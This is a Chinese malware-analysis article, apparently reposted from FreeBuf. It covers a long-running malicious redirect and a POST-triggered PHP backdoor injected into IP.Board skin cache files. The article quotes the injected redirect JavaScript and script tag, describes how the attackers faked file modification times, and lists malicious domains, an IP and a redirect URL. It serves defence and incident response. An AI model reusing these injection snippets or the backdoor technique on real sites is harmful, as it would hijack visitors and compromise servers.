前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >IP.Board CMS恶意重定向分析

IP.Board CMS恶意重定向分析

作者头像
FB客服
发布2018-02-05 16:19:39
8380
发布2018-02-05 16:19:39
举报
文章被收录于专栏:FreeBufFreeBuf

IP.Board CMS是一款著名的CMS系统,它允许用户很容易地创建和管理在线社区。而最近Sucuri的研究员最近发现了一个针对IP.Board的重定向。经过分析,研究员们发现这种攻击已经持续了2年之久了。

访客被恶意重定向

重定向的症状非常典型,某些通过Google搜索的访客会被重定向到一个恶意网站:filestore321 .com/download .php?id=hexnumber。每位访客只会被重定向一次,重定向后再点击不会被重定向。 我们捕捉HTTP流量后发现,网页会从"hxxp://forum .hackedsite .com/index.php?ipbv=4458734cb50e112ba7dd3a154b22ecd9&g=js"加载脚本,脚本内容如下:

xdocument.location='hxxp://filestore321 .com/download .php?id=8-digit-hex-number'

工作原理

那重定向是如何通过IP.Board运行的呢?由于我们对IP.Board还不是像WordPress那样了解,因此查找来源废了我们一番功夫。我们参考了2年前Peter Upfold的一篇文章。在这篇文章中,我们找到了重定向的工作原理,并且发现这个手法两年前就出现了,而且没有重大的改变。

大家并不需要访问Peter Upfold的文章,我会在此解释恶意软件的工作原理和行为模式。

IP.Board使用的皮肤会同时储存在数据库和硬盘上(以文件形式储存),如果有缓存的话就会存储在./cache/skin_cache/cacheid_n下,n代表皮肤的编号。我们发现的受感染的皮肤文件就是./cache/skin_cache/cacheid_4下的skin_global.php文件。

高亮选中的这6行就是我们在这个120kb的皮肤文件找到的恶意代码。 这三行经过加密的代码中的变量名用到了$rsa$pka$pkb,让人误认为是什么安全密钥。

我们还原了经过混淆的代码,如下图所示

首先,它会检查访客来源是否是来自搜索引擎或者是社交网络链接并且确认不是什么爬虫。如果这是访客的首次访问(没有lang_id cookie),它就会在网页中注入一段脚本:

<script type='text/javascript&'hxxp://hackedsite .com/index.php?ipbv=<some-hash>&g=js'>

接着,当受害者请求这段脚本时,它会检查访客是否加载过脚本,是不是第一次加载,然后将lang_id cookie设定为10小时,最后返回这段重定向的代码。

有趣的是,这段代码不会将浏览器的预读请求算作是真实访问,并且当请求有HTTP_X_MOZ头时不会设定lang_id cookie。

这段代码还储存在IP.Board数据库中的prefix_skin_cache表中。要将文件和数据库中的恶意代码都清除掉才算消除了隐患。

后门

除了重定向,这个恶意代码中还有一个后门,攻击者可以通过这个后门制造POST请求来执行PHP代码。

每个皮肤文件都有如下的注释:

/*--------------------------------------------------*/

/* FILE GENERATED BY INVISION POWER BOARD 3 */

/* CACHE FILE: Skin set id: 4 */

/* CACHE FILE: Generated: Fri, 19 Dec 2014 10:28:00 GMT */

/* DO NOT EDIT DIRECTLY - THE CHANGES WILL NOT BE */

/* WRITTEN TO THE DATABASE AUTOMATICALLY */

/*--------------------------------------------------*/

这段注释表明文件生成的时间。我所发现的服务器中,所有的皮肤缓存文件都生成于2014年12月19日,除了受感染的skin_global.php是生成于2015年1月11日。但是skin_global.php的修改时间是2014年12月19日,跟其他文件一样。

我认为攻击者应该是IP.Board的标准界面注入了这些恶意代码(可能是通过盗号或者是利用了某个漏洞入侵的)。攻击者更新了皮肤缓存文件,但是为了防止网站管理员检查最近修改的文件,攻击者利用皮肤中的后门伪造了这些感染文件的修改时间。

域名

这场针对IP.Board的攻击已经进行了起码两年了。主要的区别就是2015使用的域名是filestore321 . com,而2013年时使用的是url4short . info。

这两个域名的IP都是66.199.231.59(Access Integrated Technologies, Inc., USA)。

这个IP地址上还有些类似的域名,所有的域名都被用作恶意活动。

filestore321 .com - Created on 2011-01-27 - Expires on 2016-01-27 - Updated on 2015-01-05

url4short .info. - Created on 2011-01-27 - Expires on 2016-01-27 - Updated on 2015-01-05

file2store.info - Created on 2010-02-17 - Expires on 2015-02-17 - Updated on 2014-01-03

filestore123.info - Created on 2011-01-07 - Expires on 2016-01-07 - Updated on 2014-10-10

myfilestore.com - Created on 2010-02-03 - Expires on 2016-02-03 - Updated on 2015-01-05

filestore72.info - Created on 2010-10-14 - Expires on 2015-10-14 - Updated on 2014-10-10

其中的某些网站会重定向到类似下面这个URL:

hxxp://oognyd96wcqbh6nmzdf0erj .ekabil .com/index .php?g=d3F3eGFnPXhnc2h6dGxzJnRpbWU9MTUwMjA0MTEyODIyNjQ1NTQ4MDcmc3JjPTc2JnN1cmw9dXJsNHNob3J0LmluZm8mc3BvcnQ9ODAma2V5PTJBOTZEMjlEJnN1cmk9L3ByaXZhY3kuaHRtbA==

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2015-02-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档